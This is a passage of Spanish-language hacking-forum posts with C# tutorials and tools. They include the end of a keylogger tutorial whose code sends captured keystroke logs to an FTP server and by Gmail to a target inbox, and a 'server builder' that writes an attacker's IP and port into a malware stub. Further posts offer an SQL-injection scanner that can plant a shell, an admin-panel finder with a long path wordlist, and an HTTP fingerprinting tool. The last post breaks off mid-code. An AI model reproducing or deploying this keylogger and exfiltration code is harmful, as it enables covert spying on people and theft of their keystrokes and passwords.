                ftp.Credentials = new System.Net.NetworkCredential(usuario, password); // Establecemos el login

                FileInfo dividir = new FileInfo(archivo); // Iniciamos una instancia FileInfo con "dividir"
                string solo_nombre = dividir.Name; // Capturamos solo el nombre de la ruta del archivo de "archivo"

                ftp.UploadFile("ftp://"+servidor + "/" + solo_nombre, "STOR", archivo); // Subimos el archivo marcado con el siguiente
                // formato -> ftp://localhost/archivo-a-subir.txt al servidor FTP
            }
            catch
            {
                //
            }
        }


Ahora vamos hacer doble click sobre el septimo boton que tiene como texto "Send logs for FTP" para poner el siguiente codigo :

Código (csharp) [Seleccionar]

        private void button7_Click(object sender, EventArgs e)
        {
            FTP_Upload("localhost", "admin", "admin","logs.html"); // Usamos la funcion FTP_Upload para enviar el log por FTP
                                                                                        // con los datos del servidor marcados
        }


Como ven tenemos "localhost" como servidor FTP y "admin" como usuario y password del servidor FTP , al final de la funcion tenemos "logs.html" que son los logs creados por el keylogger y listos para enviar al servidor FTP correspondiente.
Para probarlos en su servidor FTP tienen que cambiar los valores de servidor , usuario y password.

Pasemos al siguiente punto

0x06 : Mandar logs por Mail

Ahora vamos a ver como enviar los logs por mail , para poder hacerlo necesitan una cuenta en Gmail , si quieren registrarse en Gmail sin dar el telefono tienen que registrarte poniendo como direccion de correo alternativa una que sea con "@gmail.com" , en mi caso tambien puse la nacionalidad de Estados Unidos , no se si hace falta pero yo lo hice igual y safe de que me pidieran el telefono (no lo voy a dar ni muerto xD).
Bien para poder enviar correos usando Gmail necesitamos poner esta linea al inicio del codigo :

Código (csharp) [Seleccionar]

using System.Net.Mail;


Despues tenemos que poner esta funcion al inicio del codigo que es la que uso para enviar Mails a Gmail :

Código (csharp) [Seleccionar]

        public void Gmail_Send(string usuario, string password, string target, string asunto, string mensaje_texto, string rutaarchivo)
        {

            // Based on : http://www.codeproject.com/Tips/160326/Using-Gmail-Account-to-Send-Emails-With-Attachment

            MailAddress de = new MailAddress(usuario); // Establecemos la direccion de correo nuestra de Gmail para enviar el mail
            MailAddress a = new MailAddress(target); // Establecemos la direccion de correo que va a recibir el correo

            MailMessage mensaje = new MailMessage(de, a); // Creamos la instancia MailMessage como "mensaje" 

            mensaje.Subject = asunto; // Establecemos en el mensaje el asunto
            mensaje.Body = mensaje_texto; // Establecemos en el mensaje el texto del correo

            Attachment archivo = new Attachment(rutaarchivo); // Creamos la instancia Attachment como "archivo" donde marcamos la ruta del archivo adjunto que
            // esta en la variable "rutaarchivo"

            mensaje.Attachments.Add(archivo); // Agregamos el archivo adjunto cargado anteriormente al "mensaje"

            SmtpClient gmailsender = new SmtpClient("smtp.gmail.com", 587); // Creamos la instancia SmtpClient como "gmailsender" ademas marcamos el host y
            // el puerto de Gmail

            gmailsender.UseDefaultCredentials = false; // Desactivamos el UseDefaultCredentials en el "gmailsender"
            gmailsender.EnableSsl = true; // Activamos el SSL en el "gmailsender"
            gmailsender.Credentials = new NetworkCredential(usuario, password); // Establecemos el usuario y password de la cuenta nuestra de Gmail

            gmailsender.Send(mensaje); // Enviamos el mensaje   

        }


Despues de eso hacemos doble click sobre el octavo y ultimo boton que tiene como texto "Send logs for Mail" para poner el siguiente codigo :

Código (csharp) [Seleccionar]

        private void button8_Click(object sender, EventArgs e)
        {
            Gmail_Send("tucorreo@gmail.com", "tupass", "target@hotmail.com", "Aca van los logs", "Disfruta los logs", "logs.html");
            // Usamos la funcion Gmail_Send para enviar el log por Mail usando nuestra cuenta de Gmail con los datos aclarados en los argumentos de la funcion
        }


Como ven en la funcion tenemos como argumentos , el correo y password de nuestra cuenta gmail que usamos para enviar los logs , despues tenemos el correo donde van a llegar los logs , despues tenemos el titulo del mensaje que es "Aca van los logs" y el contenido del mensaje donde tenemos "Disfruta los logs" y para terminar tenemos la ruta de los logs del keylogger que es "logs.html".

Con eso pasamos el ultimo punto.

0x07 : Probando el programa

Bueno , creo que con esto cubrimos lo que es un keylogger basico (eso creo) , para probar solo tenemos que activar la captura de teclas , captura de ventanas y captura de screenshots desde su boton correspondiente , si queremos parar cierta funcion solo tenemos que hacer click sobre el boton de abajo correspondiente.

Se les deberia ver tal cual lo hicimos en el primer punto :



Para mandar los logs por FTP solo hagan click en el boton "Send logs for FTP" y despues de unos segundos tendran subidos los logs al servidor FTP que marcaron en la funcion del punto anterior.

En mi servidor FTP local se puede ver como se subieron los logs : logs.html



Lo mismo con el envio de logs por Mail con la diferencia de que ahora tienen que hacer click en el boton "Send logs for Mail" les dejo un ejemplo donde envio los logs a mi correo en hotmail :



Si quieren pueden ver los logs en formato HTML , en mi caso podre leer algo como esto en Firefox :



Creo que eso seria todo ...

--========--
  The End ?
--========--

Version PDF.

Version VideoTutorial

[youtube=640,360]http://www.youtube.com/watch?v=tqgzL5rKkHA[/youtube]

Eso es todo.
#94
[Titulo] : Creacion de un Server Builder
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del builder
0x03 : Creacion del stub
0x04 : Probando el programa

-- =================--------

0x01 : Introduccion

Ya habia hecho este manual en Delphi pero como me gusta traducir codigos ahora le toca a C# , para empezar el server builder se usa en el malware para poder generar el virus
o programa malicioso con datos importantes para el atacante como la ip , puerto o alguna configuracion que el server builder considera importante para el programa malicioso.
En este caso veremos solo la ip y el puerto , comencemos ...

0x02 : Creacion del builder

Para crear el server builder tenemos que crear un nuevo proyecto en Visual Studio de esta manera si usan la version 2010 :

Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar

Como en la siguiente imagen :



Ahora creemos dos textbox , uno va a ser para la IP y el otro textbox para el puerto , tambien agregamos un boton que sere el encargado de escribir en el stub , pueden poner
los tres en el lugar que quieran o sino haganlo como en la siguiente imagen :



Una vez hecho el diseño del form del builder vayan al codigo del formulario y agreguen este linea al inicio del codigo.

Código (csharp) [Seleccionar]

using System.IO; // Agregar esta linea al inicio del codigo para el manejo de archivos


Despues hagan doble click en el boton que crearon para agregar el siguiente codigo :

Código (csharp) [Seleccionar]

FileStream abriendo = new FileStream("stub.exe", FileMode.Append); // Abrimos el stub.exe para escribir en el usando "abriendo"
BinaryWriter seteando = new BinaryWriter(abriendo); // Usamos BinaryWriter para poder escribir en el archivo binario usando "seteando"
seteando.Write("-IP-" + textBox1.Text + "-IP-" + "-PORT-" + textBox2.Text + "-PORT-"); // Escribimos en el archivo binario la IP y el puerto
                                                                                      // usando los valores de los textBox1 y textBox2
seteando.Flush(); // Hace que los datos almacenados en el buffer se escriban
seteando.Close(); // Cerramos el BinaryWriter "seteando"
abriendo.Close(); // Cerramos el FileStream "abriendo"


Les deberia quedar algo asi :



Con esto ya estaria el server builder , ahora vamos al stub ...

0x03 : Creacion del stub

Bueno , ahora les voy a explicar como hacer el stub , para empezar creamos otro proyecto de la siguiente manera :

Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar

Como en la siguiente imagen :



Una vez creado el proyecto , agregamos al formulario 2 textBox y un boton que servira para cargar la configuracion , les deberia quedar algo asi :



Unz vez terminado todo , agregamos estas dos lineas al inicio del codigo del formulario :

Código (csharp) [Seleccionar]

using System.IO; // Agregar esta linea para el manejo de archivos
using System.Text.RegularExpressions; // Agregar esta linea para el manejo de las expresiones regulares


Ahora hacemos doble click en el boton creado :

Código (csharp) [Seleccionar]

private void button1_Click(object sender, EventArgs e)
{

string ip = ""; // Declaramos la variable que contendra la IP como string
string puerto = ""; // Declaramos la variable que tendra el puerto como string

StreamReader viendo = new StreamReader(Application.ExecutablePath); // Inicializamos la instancia StreamReader como "viendo" para abrir el stub

string contenido = viendo.ReadToEnd(); // Leemos el contenido del programa y guardamos el resultado en la variable "contenido"

Match regex = Regex.Match(contenido, "-IP-(.*?)-IP--PORT-(.*?)-PORT-", RegexOptions.IgnoreCase); // Usamos una expresion regular para buscar la ip
                                                                                           // y el puerto
if (regex.Success) // Si se encontro algo ...
{
ip = regex.Groups[1].Value; // Guardamos la ip encontrada en la variable "ip"
puerto = regex.Groups[2].Value; // Guardamos el puerto encontrado en la variable "puerto"
}

textBox1.Text = ip; // Ponemos la ip que obtuvimos en el textBox1
textBox2.Text = puerto; // Ponemos el puerto que obtuvimos en el textBox2

}


Les deberia quedar algo asi :



Con todo esto ya tenemos listo el server builder tanto el builder como el stub ahora nos toca probarlo ...

0x04 : Probando el programa

Una vez compilado el builder y el stub procedemos a probarlo , carguen el builder y ponganle los datos que les venga en gana en mi caso voy a poner como ip "localhost" y
como puerto "666" , despues carguen el stub y hagan click en el boton para cargar la configuracion , a continuacion les dejo una imagen de como quedaria el server builder
ademas en la imagen les muestro el stub cargado en WinHex para que vean que si funciona :



Eso seria todo.

Proximamente se viene un tutorial sobre como hacer un Keylogger en C# ...

--========--
 The End ?
--========--

Version PDF.

Version VideoTutorial :

[youtube=640,360]http://www.youtube.com/watch?v=JqTx_lKF84E[/youtube]
#95
Hola , aca les traigo un manual sobre como usar Skins en los formularios en C# , costo conseguirlos pero gracias a la recopilacion de atheros (foro indetectables) logre conseguir unos skins grosos que mostrare a continuacion.

Les dejo las imagenes de los skins :

Flow Theme



Fusion Theme



Future Theme



Genuine Theme



Modern Theme



Prime Theme



SkyDark Theme



Studio Theme



Tweety Theme



Drone Theme



Mephobia Theme



Para bajar la recopilacion de skins haganlo de aca , una vez descargados veran que los skins estan divididos en carpetas por versiones de Themebase , para usarlos tienen que crear una clase nueva en el proyecto de Visual Studio llamada Themebase.cs , en esta clase tienen que poner el codigo del archivo Themebase.txt de la carpeta en la que esta el skin que quieren probar , despues de crear esa clase tienen que crear otra con el nombre de Theme.cs , obviamente tienen que poner el codigo que tienen en el archivo Theme.txt que esta en la carpeta con el nombre de theme.

Les dejo un ejemplo de uso en youtube :

[youtube=640,360]http://www.youtube.com/watch?v=iB9x38AVRAE[/youtube]

Eso seria todo.
#96
.NET (C#, VB.NET, ASP) / [C#] K0bra 1.0
15 Agosto 2014, 16:57 PM
Un simple scanner SQLI hecho en C#.

Con las siguientes funciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

    Unas imagenes :









    Si quieren lo puede bajar de aca.
#97
.NET (C#, VB.NET, ASP) / [C#] PanelFinder 0.3
1 Agosto 2014, 15:57 PM
Un simple programa en C# para buscar el panel de admin en una pagina web.

Una imagen :



Los codigos :

Form1.cs

Código (csharp) [Seleccionar]

// PanelFinder 0.3
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

namespace PanelFinder
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {

            List<string> paneles = new List<string> {"admin/admin.asp","admin/login.asp",
    "admin/index.asp",               "admin/admin.aspx",
    "admin/login.aspx",              "admin/index.aspx",
    "admin/webmaster.asp",           "admin/webmaster.aspx",
    "asp/admin/index.asp",           "asp/admin/index.aspx",
    "asp/admin/admin.asp",           "asp/admin/admin.aspx",
    "asp/admin/webmaster.asp",       "asp/admin/webmaster.aspx",
    "admin/",                        "login.asp",
    "login.aspx",                    "admin.asp",
    "admin.aspx",                    "webmaster.aspx",
    "webmaster.asp",                 "login/index.asp",
    "login/index.aspx",              "login/login.asp",
    "login/login.aspx",              "login/admin.asp",
    "login/admin.aspx",              "administracion/index.asp",
    "administracion/index.aspx",     "administracion/login.asp",
    "administracion/login.aspx",     "administracion/webmaster.asp",
    "administracion/webmaster.aspx", "administracion/admin.asp",
    "administracion/admin.aspx",     "php/admin/",
    "admin/admin.php",               "admin/index.php",
    "admin/login.php",               "admin/system.php",
    "admin/ingresar.php",            "admin/administrador.php",
    "admin/default.php",             "administracion/",
    "administracion/index.php",      "administracion/login.php",
    "administracion/ingresar.php",   "administracion/admin.php",
    "administration/",               "administration/index.php",
    "administration/login.php",      "administrator/index.php",
    "administrator/login.php",       "administrator/system.php",
    "system/",                       "system/login.php",
    "admin.php",                     "login.php",
    "administrador.php",             "administration.php",
    "administrator.php",             "admin1.html",
    "admin1.php",                    "admin2.php",
    "admin2.html",                   "yonetim.php",
    "yonetim.html",                  "yonetici.php",
    "yonetici.html",                 "adm/",
    "admin/account.php",             "admin/account.html",
    "admin/index.html",              "admin/login.html",
    "admin/home.php",                "admin/controlpanel.html",
    "admin/controlpanel.php",        "admin.html",
    "admin/cp.php",                  "admin/cp.html",
    "cp.php",                        "cp.html",
    "administrator/",                "administrator/index.html",
    "administrator/login.html",      "administrator/account.html",
    "administrator/account.php",     "administrator.html",
    "login.html",                    "modelsearch/login.php",
    "moderator.php",                 "moderator.html",
    "moderator/login.php",           "moderator/login.html",
    "moderator/admin.php",           "moderator/admin.html",
    "moderator/",                    "account.php",
    "account.html",                  "controlpanel/",
    "controlpanel.php",              "controlpanel.html",
    "admincontrol.php",              "admincontrol.html",
    "adminpanel.php",                "adminpanel.html",
    "admin1.asp",                    "admin2.asp",
    "yonetim.asp",                   "yonetici.asp",
    "admin/account.asp",             "admin/home.asp",
    "admin/controlpanel.asp",        "admin/cp.asp",
    "cp.asp",                        "administrator/index.asp",
    "administrator/login.asp",       "administrator/account.asp",
    "administrator.asp",             "modelsearch/login.asp",
    "moderator.asp",                 "moderator/login.asp",
    "moderator/admin.asp",           "account.asp",
    "controlpanel.asp",              "admincontrol.asp",
    "adminpanel.asp",                "fileadmin/",
    "fileadmin.php",                 "fileadmin.asp",
    "fileadmin.html",                "administration.html",
    "sysadmin.php",                  "sysadmin.html",
    "phpmyadmin/",                   "myadmin/",
    "sysadmin.asp",                  "sysadmin/",
    "ur-admin.asp",                  "ur-admin.php",
    "ur-admin.html",                 "ur-admin/",
    "Server.php",                    "Server.html",
    "Server.asp",                    "Server/",
    "wp-admin/",                     "administr8.php",
    "administr8.html",               "administr8/",
    "administr8.asp",                "webadmin/",
    "webadmin.php",                  "webadmin.asp",
    "webadmin.html",                 "administratie/",
    "admins/",                       "admins.php",
    "admins.asp",                    "admins.html",
    "administrivia/",                "Database_Administration/",
    "WebAdmin/",                     "useradmin/",
    "sysadmins/",                    "admin1/",
    "system-administration/",        "administrators/",
    "pgadmin/",                      "directadmin/",
    "staradmin/",                    "ServerAdministrator/",
    "SysAdmin/",                     "administer/",
    "LiveUser_Admin/",               "sys-admin/",
    "typo3/",                        "panel/",
    "cpanel/",                       "cPanel/",
    "cpanel_file/",                  "platz_login/",
    "rcLogin/",                      "blogindex/",
    "formslogin/",                   "autologin/",
    "support_login/",                "meta_login/",
    "manuallogin/",                  "simpleLogin/",
    "loginflat/",                    "utility_login/",
    "showlogin/",                    "memlogin/",
    "members/",                      "login-redirect/",
    "sub-login/",                    "wp-login/",
    "login1/",                       "dir-login/",
    "login_db/",                     "xlogin/",
    "smblogin/",                     "customer_login/",
    "UserLogin/",                    "login-us/",
    "acct_login/",                   "admin_area/",
    "bigadmin/",                     "project-admins/",
    "phppgadmin/",                   "pureadmin/",
    "sql-admin/",                    "radmind/",
    "openvpnadmin/",                 "wizmysqladmin/",
    "vadmind/",                      "ezsqliteadmin/",
    "hpwebjetadmin/",                "newsadmin/",
    "adminpro/",                     "Lotus_Domino_Admin/",
    "bbadmin/",                      "vmailadmin/",
    "Indy_admin/",                   "ccp14admin/",
    "irc-macadmin/",                 "banneradmin/",
    "sshadmin/",                     "phpldapadmin/",
    "macadmin/",                     "administratoraccounts/",
    "admin4_account/",               "admin4_colon/",
    "radmind-1/",                    "Super-Admin/",
    "AdminTools/",                   "cmsadmin/",
    "SysAdmin2/",                    "globes_admin/",
    "cadmins/",                      "phpSQLiteAdmin/",
    "navSiteAdmin/",                 "server_admin_small/",
    "logo_sysadmin/",                "server/",
    "database_administration/",      "power_user/",
    "system_administration/",        "ss_vms_admin_sm/"
};

            DH_Tools tools = new DH_Tools();

            String page = textBox1.Text;
            String code = "";

            listBox1.Items.Clear();
           
            toolStripStatusLabel1.Text = "[+] Scanning ...";
            this.Refresh();

            foreach(string panel in paneles) {
                toolStripStatusLabel1.Text = "[+] Checking : "+panel;
                this.Refresh();
                code = tools.responsecode(page+"/"+panel);
                if (code == "200")
                {
                    listBox1.Items.Add(page + "/" + panel);
                }
            }

            if (listBox1.Items.Count == 0)
            {
                MessageBox.Show("Not Found");
            }

            toolStripStatusLabel1.Text = "[+] Finished";
            this.Refresh();

        }

        private void listBox1_DoubleClick(object sender, EventArgs e)
        {
            DH_Tools tools = new DH_Tools();
            tools.console("start " + listBox1.SelectedItem.ToString());
        }
    }
}

// The End ?


DH_Tools.cs

Código (csharp) [Seleccionar]

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace PanelFinder
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string responsecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                byte[] codedos = nave.UploadFile(link, "POST", archivo);
                code = System.Text.Encoding.UTF8.GetString(codedos, 0, codedos.Length);

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string basename(string file)
        {
            String nombre = "";

            FileInfo basename = new FileInfo(file);
            nombre = basename.Name;

            return nombre;

        }

        public string console(string cmd)
        {

            string code = "";

            try
            {

                System.Diagnostics.ProcessStartInfo loadnow = new System.Diagnostics.ProcessStartInfo("cmd", "/c " + cmd);
                loadnow.RedirectStandardOutput = true;
                loadnow.UseShellExecute = false;
                loadnow.CreateNoWindow = true;
                System.Diagnostics.Process loadnownow = new System.Diagnostics.Process();
                loadnownow.StartInfo = loadnow;
                loadnownow.Start();
                code = loadnownow.StandardOutput.ReadToEnd();

            }

            catch
            {
                code = "Error";
            }

            return code;

        }

        public string urisplit(string url, string opcion)
        {

            string code = "";

            Uri dividir = new Uri(url);

            if (opcion == "host")
            {
                code = dividir.Host;
            }

            if (opcion == "port")
            {
                code = Convert.ToString(dividir.Port);
            }

            if (opcion == "path")
            {
                code = dividir.LocalPath;
            }

            if (opcion == "file")
            {
                code = dividir.AbsolutePath;
                FileInfo basename = new FileInfo(code);
                code = basename.Name;
            }

            if (opcion == "query")
            {
                code = dividir.Query;
            }

            if (opcion == "")
            {
                code = "Error";
            }

            return code;
        }

        public string convertir_md5(string text)
        {
            MD5 convertirmd5 = MD5.Create();
            byte[] infovalor = convertirmd5.ComputeHash(Encoding.Default.GetBytes(text));
            StringBuilder guardar = new StringBuilder();
            for (int numnow = 0; numnow < infovalor.Length; numnow++)
            {
                guardar.Append(infovalor[numnow].ToString("x2"));
            }
            return guardar.ToString();
        }

        public string md5file(string file)
        {

            string code = "";

            try
            {
                var gen = MD5.Create();
                var ar = File.OpenRead(file);
                code = BitConverter.ToString(gen.ComputeHash(ar)).Replace("-", "").ToLower();

            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string getip(string host)
        {
            string code = "";
            try
            {
                IPAddress[] find = Dns.GetHostAddresses(host);
                code = find[0].ToString();
            }
            catch
            {
                code = "Error";
            }
            return code;
        }

    }
}

// The End ?


Si quieren lo puede bajar de aca.
#98
Un simple programa en C# para hacer HTTP FingerPrinting.

Una imagen :



Los codigos :

Form1.cs

Código (csharp) [Seleccionar]

// HTTP FingerPrinting 0.2
// (C) Doddy Hackman 2014

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

namespace HTTP_FingerPrinting
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {

            DH_Tools tools = new DH_Tools();

            toolStripStatusLabel1.Text = "[+] Searching ...";
            this.Refresh();

            richTextBox1.Clear();
            richTextBox1.AppendText(tools.httpfinger(textBox1.Text));

            toolStripStatusLabel1.Text = "[+] Finished";
            this.Refresh();

        }
    }
}

// The End ?


DH_Tools.cs

Código (csharp) [Seleccionar]

// Class Name : DH Tools
// Version : Beta
// Author : Doddy Hackman
// (C) Doddy Hackman 2014
//
// Functions :
//
// [+] HTTP Methods GET & POST
// [+] Get HTTP Status code number
// [+] HTTP FingerPrinting
// [+] Read File
// [+] Write File
// [+] GET OS
// [+] Remove duplicates from a List
// [+] Cut urls from a List
// [+] Download
// [+] Upload
// [+] Get Basename from a path
// [+] Execute commands
// [+] URI Split
// [+] MD5 Hash Generator
// [+] Get MD5 of file
// [+] Get IP address from host name
//
// Credits :
//
// Method POST -> https://technet.rapaport.com/Info/Prices/SampleCode/Full_Example.aspx
// Method GET -> http://stackoverflow.com/questions/4510212/how-i-can-get-web-pages-content-and-save-it-into-the-string-variable
// HTTP Headers -> http://msdn.microsoft.com/en-us/library/system.net.httpwebresponse.headers%28v=vs.110%29.aspx
// List Cleaner -> http://forums.asp.net/t/1318899.aspx?Remove+duplicate+items+from+List+String+
// Execute command -> http://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C
// MD5 Hash Generator -> http://www.java2s.com/Code/CSharp/Security/GetandverifyMD5Hash.htm
// Get MD5 of file -> http://stackoverflow.com/questions/10520048/calculate-md5-checksum-for-a-file
//
// Thanks to : $DoC and atheros14 (Forum indetectables)
//

using System;
using System.Collections.Generic;
using System.Text;

using System.Net;
using System.IO;
using System.Text.RegularExpressions;
using System.Security.Cryptography;

namespace HTTP_FingerPrinting
{
    class DH_Tools
    {
        public string toma(string url)
        {
            string code = "";

            try
            {
                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                code = nave.DownloadString(url);
            }
            catch
            {
                //
            }
            return code;
        }

        public string tomar(string url, string par)
        {

            string code = "";

            try
            {

                HttpWebRequest nave = (HttpWebRequest)
                WebRequest.Create(url);

                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                nave.Method = "POST";
                nave.ContentType = "application/x-www-form-urlencoded";

                Stream anteantecode = nave.GetRequestStream();

                anteantecode.Write(Encoding.ASCII.GetBytes(par), 0, Encoding.ASCII.GetBytes(par).Length);
                anteantecode.Close();

                StreamReader antecode = new StreamReader(nave.GetResponse().GetResponseStream());
                code = antecode.ReadToEnd();

            }
            catch
            {
                //
            }

            return code;

        }

        public string respondecode(string url)
        {
            String code = "";
            try
            {
                HttpWebRequest nave = (HttpWebRequest)WebRequest.Create(url);
                nave.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                HttpWebResponse num = (HttpWebResponse)nave.GetResponse();

                int number = (int)num.StatusCode;
                code = Convert.ToString(number);

            }
            catch
            {

                code = "404";

            }
            return code;
        }

        public string httpfinger(string url)
        {

            String code = "";

            try
            {

                HttpWebRequest nave1 = (HttpWebRequest)WebRequest.Create(url);
                HttpWebResponse nave2 = (HttpWebResponse)nave1.GetResponse();

                for (int num = 0; num < nave2.Headers.Count; ++num)
                {
                    code = code + "[+] " + nave2.Headers.Keys[num] + ":" + nave2.Headers[num] + Environment.NewLine;
                }

                nave2.Close();
            }
            catch
            {
                //
            }

            return code;

        }

        public string openword(string file)
        {
            String code = "";
            try
            {
                code = System.IO.File.ReadAllText(file);
            }
            catch
            {
                //
            }
            return code;
        }

        public void savefile(string file, string texto)
        {

            try
            {
                System.IO.StreamWriter save = new System.IO.StreamWriter(file, true);
                save.Write(texto);
                save.Close();
            }
            catch
            {
                //
            }
        }

        public string getos()
        {
            string code = "";

            try
            {
                System.OperatingSystem os = System.Environment.OSVersion;
                code = Convert.ToString(os);
            }
            catch
            {
                code = "?";
            }

            return code;
        }

        public List<string> repes(List<string> array)
        {
            List<string> repe = new List<string>();
            foreach (string lin in array)
            {
                if (!repe.Contains(lin))
                {
                    repe.Add(lin);
                }
            }

            return repe;

        }

        public List<string> cortar(List<string> otroarray)
        {
            List<string> cort = new List<string>();

            foreach (string row in otroarray)
            {

                String lineafinal = "";

                Match regex = Regex.Match(row, @"(.*)\?(.*)=(.*)", RegexOptions.IgnoreCase);
                if (regex.Success)
                {
                    lineafinal = regex.Groups[1].Value + "?" + regex.Groups[2].Value + "=";
                    cort.Add(lineafinal);
                }

            }

            return cort;
        }

        public string download(string url, string savename)
        {

            String code = "";

            WebClient nave = new WebClient();
            nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";

            try
            {
                nave.DownloadFile(url, savename);
                code = "OK";
            }
            catch
            {
                code = "Error";
            }

            return code;
        }

        public string upload(string link, string archivo)
        {

            String code = "";

            try
            {

                WebClient nave = new WebClient();
                nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
